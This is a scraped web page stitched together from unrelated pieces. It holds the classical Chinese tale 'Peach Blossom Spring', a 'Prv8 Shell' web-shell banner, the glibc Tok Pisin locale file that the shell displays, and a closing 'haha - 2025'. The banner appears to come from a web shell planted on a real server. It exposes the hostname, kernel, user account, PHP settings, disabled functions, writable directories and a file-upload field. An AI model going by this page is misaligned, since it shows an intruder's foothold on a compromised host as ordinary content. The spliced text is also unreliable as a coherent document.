晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/i18n/locales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/i18n/locales/tpi_PG
comment_char %
escape_char /

% This file is part of the GNU C Library and contains locale data.
% The Free Software Foundation does not claim any copyright interest
% in the locale data contained in this file.  The foregoing does not
% affect the license of the GNU C Library as a whole.  It does not
% exempt you from the conditions of the license if your use would
% otherwise be governed by that license.

% Tok Pisin language locale for Papua New Guinea.
% Contributed by Akhilesh Kumar <akhilesh.k@samsung.com>.
% Words translated from http://www.tok-pisin.com/

LC_IDENTIFICATION
title       "Tok Pisin language locale for Papua New Guinea"
source      "Samsung Electronics Co., Ltd."
address     ""
contact     ""
email       "akhilesh.k@samsung.com"
tel         ""
fax         ""
language    "Tok Pisin"
territory   "Papua New Guinea"
revision    "0.1"
date        "2017-03-21"

category  "i18n:2012";LC_IDENTIFICATION
category  "i18n:2012";LC_CTYPE
category  "i18n:2012";LC_COLLATE
category  "i18n:2012";LC_TIME
category  "i18n:2012";LC_NUMERIC
category  "i18n:2012";LC_MONETARY
category  "i18n:2012";LC_PAPER
category  "i18n:2012";LC_MEASUREMENT
category  "i18n:2012";LC_MESSAGES
category  "i18n:2012";LC_NAME
category  "i18n:2012";LC_ADDRESS
category  "i18n:2012";LC_TELEPHONE
END LC_IDENTIFICATION

LC_CTYPE
copy "i18n"

translit_start
include "translit_combining";""
translit_end
END LC_CTYPE

LC_COLLATE
% Copy the template from ISO/IEC 3166
copy "iso14651_t1"
END LC_COLLATE

LC_TIME
% Full month names
% Month names from  http://www.tok-pisin.com, the month names from
% http://wikitravel.org/en/Tok_Pisin_phrasebook differ a bit.
mon	"Janueri";/
	"Februeri";/
	"Mas";/
	"Epril";/
	"Me";/
	"Jun";/
	"Julai";/
	"Ogas";/
	"Septemba";/
	"Oktoba";/
	"Novemba";/
	"Desemba"
% Abbreviated month names
abmon	"Jan";/
	"Feb";/
	"Mas";/
	"Epr";/
	"Me";/
	"Jun";/
	"Jul";/
	"Oga";/
	"Sep";/
	"Okt";/
	"Nov";/
	"Des"
% Full Weekday names
day	"Sande";/
	"Mande";/
	"Tunde";/
	"Trinde";/
	"Fonde";/
	"Fraide";/
	"Sarere"
%
% Abbreviated Weekday names
abday	"San";/
	"Man";/
	"Tun";/
	"Tri";/
	"Fon";/
	"Fra";/
	"Sar"
%
% Appropriate date and time representation
d_t_fmt	"%a %d %b %Y %T %Z"
%
% Appropriate date representation
% https://en.wikipedia.org/wiki/Date_and_time_notation_in_Australia
d_fmt	"%d//%m//%Y"
%
% Appropriate time representation
t_fmt	"%r"
%
% Equivalent of AM PM
% (from http://wikitravel.org/en/Tok_Pisin_phrasebook)
%
am_pm	"biknait";"apinun"
%
% Appropriate 12 h time representation
t_fmt_ampm    "%I:%M:%S %p %Z"
week 7;19971130;1
END LC_TIME
%
LC_NUMERIC
decimal_point "."
thousands_sep ","
grouping      3
END LC_NUMERIC
%
% https://en.wikipedia.org/wiki/Papua_New_Guinea
% PGK
% https://en.wikipedia.org/wiki/Papua_New_Guinean_kina
% https://en.wikipedia.org/wiki/Currency_symbol
% K
LC_MONETARY
currency_symbol		"K"
int_curr_symbol		"PGK "
mon_decimal_point	"."
mon_thousands_sep	","
mon_grouping		3
positive_sign		""
negative_sign		"-"
int_frac_digits		2
frac_digits		2
p_cs_precedes		1
int_p_sep_by_space	1
p_sep_by_space		1
n_cs_precedes		1
int_n_sep_by_space	1
n_sep_by_space		1
p_sign_posn		1
n_sign_posn		1
END LC_MONETARY

LC_PAPER
copy "i18n"
END LC_PAPER

LC_MEASUREMENT
measurement 1
END LC_MEASUREMENT

LC_MESSAGES
yesexpr "^[+1yY]"
noexpr  "^[-0nN]"
yesstr "yes"
nostr "nogat"
END LC_MESSAGES

LC_NAME
copy "en_US"
END LC_NAME

LC_ADDRESS
% http://www.addressexamples.com/papua-new-guinea-address-format/
postal_fmt    "%a%s%z%C"
% https://tpi.wikipedia.org/wiki/Papua_Niugini
country_name "Papua Niugini"
country_post ""
country_ab2  "PG"
country_ab3  "PNG"
country_car  "PNG"
% https://en.wikipedia.org/wiki/ISO_3166-1_numeric
country_num 598
% Tok Pisin
lang_name    "Tok Pisin"
% https://en.wikipedia.org/wiki/Tok_Pisin
lang_ab      ""
lang_term    "tpi"
lang_lib     "tpi"
END LC_ADDRESS

LC_TELEPHONE
% https://www.howtocallabroad.com/papua/
tel_int_fmt "+%c %l"
int_select  "00"
% http://www.nationsonline.org/oneworld/international-calling-codes.htm
int_prefix  "675"
END LC_TELEPHONE

haha - 2025